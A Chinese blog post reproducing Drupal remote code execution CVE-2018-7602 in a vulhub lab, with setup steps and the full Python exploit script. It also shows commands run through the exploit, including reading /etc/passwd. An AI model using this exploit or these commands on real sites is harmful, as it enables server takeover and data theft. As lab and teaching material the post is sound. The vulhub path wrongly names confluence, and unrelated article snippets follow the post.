当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Drupal 远程代码执行漏洞(CVE-2018-7602)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2018-7602环境
    • 2、启动CVE-2018-7602环境
    • 3、查看CVE-2018-7602环境
    • 4、访问CVE-2018-7602环境
    • 5、查看CVE-2018-7602漏洞提示信息
    • 6、关闭CVE-2018-7602环境
  • 五、漏洞复现
    • 1、POC
    • 2、执行id
    • 3、读取passwd文件
    • 4、创建/tmp/powershell.txt文件
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2018-7602

二、影响范围

Drupal 6.x版本
Drupal 7.x版本
Drupal 8.x版本

三、漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用Drupal网站漏洞,执行恶意代码,导致网站被完全控制。CVE-2018-7602这个漏洞是CVE-2018-7600的绕过利用,两个漏洞原理是一样的。

四、环境搭建

1、进入CVE-2018-7602环境

cd vulhub/confluence/CVE-2018-7602

在这里插入图片描述

2、启动CVE-2018-7602环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2018-7602环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2018-7602环境

环境启动后,访问http://your-ip:8081,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文

在这里插入图片描述

一直默认安装就行,然后数据库配置这一块儿选择SQLite
然后就会自动安装drupal
设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了

在这里插入图片描述

安装完成,进入站点

在这里插入图片描述

自动登录进入了网站

在这里插入图片描述

5、查看CVE-2018-7602漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2018-7602环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC

POC下载地址:

https://download.csdn.net/download/qq_51577576/87453899

POC内容如下:

#!/usr/bin/env python3import requests
import argparse
from bs4 import BeautifulSoupdef get_args():parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),epilog= '''This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).''')parser.add_argument("user", help="Username")parser.add_argument("password", help="Password")parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")args = parser.parse_args()return argsdef pwn_target(target, username, password, function, command, proxy):requests.packages.urllib3.disable_warnings()session = requests.Session()proxyConf = {'http': proxy, 'https': proxy}try:print('[*] Creating a session using the provided credential...')get_params = {'q':'user/login'}post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}print('[*] Finding User ID...')session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)get_params = {'q':'user'}r = session.get(target, params=get_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')if ("?q=" in user_id):user_id = user_id.split("=")[1]if(user_id):print('[*] User ID found: ' + user_id)print('[*] Poisoning a form using \'destination\' and including it in cache.')get_params = {'q': user_id + '/cancel'}r = session.get(target, params=get_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")form = soup.find('form', {'id': 'user-cancel-confirm-form'})form_token = form.find('input', {'name': 'form_token'}).get('value')get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")form = soup.find('form', {'id': 'user-cancel-confirm-form'})form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')if form_build_id:print('[*] Poisoned form ID: ' + form_build_id)print('[*] Triggering exploit to execute: ' + command)get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}post_params = {'form_build_id':form_build_id}r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)parsed_result = r.text.split('[{"command":"settings"')[0]print(parsed_result)except:print("ERROR: Something went wrong.")raisedef main():print ()print ('===================================================================================')print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')print ('|                                   by pimps                                      |')print ('===================================================================================\n')args = get_args() # get the cl argspwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())if __name__ == '__main__':main()

2、执行id

python drupa7-CVE-2018-7602.py -c "id" root 123456 http://192.168.233.130:8081

root 为网站登录用户
123456为网站登录密码

在这里插入图片描述

3、读取passwd文件

python drupa7-CVE-2018-7602.py -c "cat ../../../../../etc/passwd" root 123456 http://192.168.233.130:8081

root 为网站登录用户
123456为网站登录密码

在这里插入图片描述

4、创建/tmp/powershell.txt文件

python drupa7-CVE-2018-7602.py -c "touch /tmp/powershell.txt" root 123456 http://192.168.233.130:8081

root 为网站登录用户
123456为网站登录密码

在这里插入图片描述

文件创建成功

docker-compose ps
docker exec -it e0d2ae21b097 /bin/bash
ls /tmp

在这里插入图片描述

可执行任意命令,前提需要拿到一个网站弱口令

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

相关文章:

[ vulhub漏洞复现篇 ] Drupal 远程代码执行漏洞(CVE-2018-7602)

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…...

MySQL最佳实践

一、MySQL查询执行过程 1.MySQL分层结构 MySQL8.0没有查询缓存的功能了,如果频繁修改缓存,将会损耗性能查询流程就按照分层结构就可以清楚,只要了解各个组件的各自功能就行分析器主要分析语法和词法是否正确优化器主要优化SQL语句 二、MySQL更新执行过程 更新主要涉及两个重…...

Python 之 Matplotlib 散点图、箱线图和词云图

文章目录一、散点图1. scatter() 函数2. 设置图标大小3. 自定义点的颜色和透明度4. 可以选择不同的颜色条&#xff0c;配合 cmap 参数5. cmap 的分类5.1 Sequential colormaps&#xff1a;连续化色图5.2 Diverging colormaps&#xff1a;两端发散的色图 .5.3 Qualitative color…...

SpringCloud(三)Hystrix断路器服务降级、服务熔断、服务监控案例详解

七、Hystrix断路器 7.1 简介 分布式系统面临的问题 复杂分布式体系结构中的应用程序有数十个依赖关系&#xff0c;每个依赖关系在某些时候将不可避免地失败。 多个微服务之间调用的时候&#xff0c;假设微服务A调用微服务B和微服务C&#xff0c;微服务B和微服务C又调用其它的微…...

【超好用】自定义的mybatis-plus代码生成器

BACKGROUND你是否也有这样的烦恼&#xff1a;每次写代码都需要创建很多包很多层很多类很多接口&#xff1f;耗时且费力姑且不谈&#xff0c;有时可能还大意了没有闪&#xff0c;搞出一堆bug这谁顶得住啊都3202年了&#xff0c;让程序自力更生吧&#xff01;&#xff01;教程 le…...

Kubernetes学习笔记-计算资源管理(4)监控pod的资源使用量20230219

前面学了设置资源的requests和limits&#xff0c;这节课学习如何监控资源&#xff0c;根据监控资源使用情况&#xff0c;对requests和limits进行合理配置。收集、获取实际资源使用情况kubelet包含一个agent&#xff0c;名为cAdvisor&#xff0c;它会收集整个节点上运行的所有单…...

游戏开发 - 开发流程 - 收集

1.应用场景 主要用于了解&#xff0c;掌握游戏开发的整个流程。 2.学习/操作 1.文档阅读 复习课 | 带你梳理客户端开发的三个重点-极客时间 2.整理输出 2.1 游戏开发流程 -- 参考 按照游戏开发中的三大模块策划、程序、美术&#xff0c;画了一个图。 开发游戏的时候&#xff…...

LA@向量空间@坐标变换

文章目录向量空间向量空间的属性坐标例基变换坐标变换n维向量空间RnR^nRn子空间例线性组合与线性方程组生成子空间深度学习向量空间 设VVV是n维向量的非空集合,如果VVV对向量的加法和数乘运算封闭,即 ∀α,β∈V,∀k∈Rαβ,kα∈V\forall \alpha,\beta\in{V},\forall k\in{\ma…...

JSP脚本指令及标记学习笔记

好久没更新文章了&#xff0c;上次更新的文章还是一个学习笔记。本篇博文介绍的是JSP基本概念 1.JSP开发方法 一个jsp网页只需要加上<%%>就行了。 2.JSP运行机制 3.JSP脚本元素 3.1 JSP脚本代码 <% 脚本代码 %>实例 <% SimpleDateFormat df new SimpleDa…...

【C语言每日一题】——猜凶手

【C语言每日一题】——猜名次&#x1f60e;前言&#x1f64c;猜凶手&#x1f64c;解题思路分享&#xff1a;&#x1f60d;解题源码分享&#xff1a;&#x1f60d;总结撒花&#x1f49e;&#x1f60e;博客昵称&#xff1a;博客小梦 &#x1f60a;最喜欢的座右铭&#xff1a;全神…...

2019蓝桥杯真题完全二叉树的权值 C语言/C++

题目描述 给定一棵包含 N个节点的完全二叉树&#xff0c;树上每个节点都有一个权值&#xff0c;按从 上到下、从左到右的顺序依次是 A_1, A_2, A_N&#xff0c;如下图所示&#xff1a; 现在小明要把相同深度的节点的权值加在一起&#xff0c;他想知道哪个深度的节点 权值之和最…...

大数据之Phoenix环境搭建

文章目录前言一、下载Phoenix安装包二、上传并解压三、拷贝服务包到各个hbase的lib目录下四、修改hbase的配置文件五、重启HBase集群六、连接Phoenix客户端前言 #博学谷IT学习技术支持# 本篇文章主要介绍Phoenix的环境搭建&#xff0c;Phoenix支持使用SQL语句操作HBase&#x…...

62 一次 Promotion failed 的调试

前言 最近 有一个想法就是, 调试一下 DefNewGeneration 里面的晋升失败的情况 呵呵 对于这块的代码上面, 看着感觉有一些疑问的地方, 因此想通过 实际的调试, 来验证一下 实际的情况 然后 之前写了一个用例, 但是 和心中的期望差距甚大, 当然 主要的问题 还是自己对于 细…...

Git的基本操作

文章目录1.git的工作流程2.git的工作环境3.git的基本操作(1)git init(2)git status(3)git add(4)git commit4.版本控制(1)git reflog与git log(2)再增加两个版本(3)git reset --hard 版本号(4)两个指针4.分支管理(1)对分支的理解(2)git branch和git branch -v(3)git checkout 分…...

LeetCode初级算法题:两数之和+斐波拉契数列多种java解法

目录7 两数之和题目描述&#xff1a;解题思路与代码暴力解法&#xff1a;解法一&#xff1a;二分查找解法二&#xff1a;双指针2 斐波那契数列题目描述&#xff1a;解题思路与代码![请添加图片描述](https://img-blog.csdnimg.cn/d06a95d7989b4794bd7f5f02fbd6f87e.png)解法一&…...

测试1:测试相关概念

1.测试相关概念 1.1.测试概念 1.1.1.需求 符合正式文档规定的条件和权能&#xff0c;包括用户需求和软件需求 它们之间的的转换是&#xff1a;沟通 用户需求和软件需求的区别&#xff1a; 能否指导开发人员开发&#xff0c;测试人员编写测试用例 1.1.2.缺陷Bug 与正确的…...

2.19 索引和事务

一.联合查询面试问题:聚合查询与联合查询的区别聚合查询是行与行之间的数据加工聚合函数 :count,sum,avg...group by 进行分组,指定列的值,相同的记录合并到同一个组,每个组又可以分别进行聚合查询分组还可以指定条件筛选,如果分组之前指定条件 用where,如果对分组之后指定条件…...

算法导论【摊还分析】—聚合分析、核算法、势能法

算法导论【摊还分析】—聚合分析、核算法、势能法聚合分析核算法势能法假定我们对一个数据结构执行一个由 n 个操作组成的操作序列&#xff0c;当 i 严格为 2 的幂时&#xff0c;第 i 个操作的代价为 i&#xff0c;否则代价为 1 聚合分析 总共有n个操作&#xff0c;1,2,4.....…...

【LeetCode】剑指 Offer 08. 二叉树的下一个节点 p65 -- Java Version

题目链接&#xff1a;无题目链接&#xff0c;不知道为啥力扣上找不到这一题。 1. 题目介绍&#xff08;08. 二叉树的下一个节点&#xff09; 题目&#xff1a;给定一个二叉树和其中的一个节点&#xff0c;请找出中序遍历顺序的下一个节点并且返回。注意&#xff0c;树中的节点…...

Python 之 Pandas Series 数据结构

文章目录一、Series 结构二、数据结构 Series 创建1. 创建1.1 列表/数组作为数据源创建 Series1.2 字典作为数据源创建 Series1.3 通过标量创建2. 参数说明2.1 index 参数2.2 name 参数2.3 copy 参数三、Series 的索引/切片1. 下标索引2. 标签索引3. 切片四、Series 数据结构的…...

【Linux】C语言执行shell指令

在C语言中执行Shell指令 在C语言中&#xff0c;有几种方法可以执行Shell指令&#xff1a; 1. 使用system()函数 这是最简单的方法&#xff0c;包含在stdlib.h头文件中&#xff1a; #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具

文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...

什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南

文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/55aefaea8a9f477e86d065227851fe3d.pn…...

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;使用DevEco Studio作为开发工具&#xff0c;采用Java语言实现&#xff0c;包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

Java 二维码

Java 二维码 **技术&#xff1a;**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...

Kubernetes 网络模型深度解析:Pod IP 与 Service 的负载均衡机制,Service到底是什么?

Pod IP 的本质与特性 Pod IP 的定位 纯端点地址&#xff1a;Pod IP 是分配给 Pod 网络命名空间的真实 IP 地址&#xff08;如 10.244.1.2&#xff09;无特殊名称&#xff1a;在 Kubernetes 中&#xff0c;它通常被称为 “Pod IP” 或 “容器 IP”生命周期&#xff1a;与 Pod …...

《Docker》架构

文章目录 架构模式单机架构应用数据分离架构应用服务器集群架构读写分离/主从分离架构冷热分离架构垂直分库架构微服务架构容器编排架构什么是容器&#xff0c;docker&#xff0c;镜像&#xff0c;k8s 架构模式 单机架构 单机架构其实就是应用服务器和单机服务器都部署在同一…...

【堆垛策略】设计方法

堆垛策略的设计是积木堆叠系统的核心&#xff0c;直接影响堆叠的稳定性、效率和容错能力。以下是分层次的堆垛策略设计方法&#xff0c;涵盖基础规则、优化算法和容错机制&#xff1a; 1. 基础堆垛规则 (1) 物理稳定性优先 重心原则&#xff1a; 大尺寸/重量积木在下&#xf…...

6个月Python学习计划 Day 16 - 面向对象编程(OOP)基础

第三周 Day 3 &#x1f3af; 今日目标 理解类&#xff08;class&#xff09;和对象&#xff08;object&#xff09;的关系学会定义类的属性、方法和构造函数&#xff08;init&#xff09;掌握对象的创建与使用初识封装、继承和多态的基本概念&#xff08;预告&#xff09; &a…...

6️⃣Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙

Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙 一、前言:离区块链还有多远? 区块链听起来可能遥不可及,似乎是只有密码学专家和资深工程师才能涉足的领域。但事实上,构建一个区块链的核心并不复杂,尤其当你已经掌握了一门系统编程语言,比如 Go。 要真正理解区…...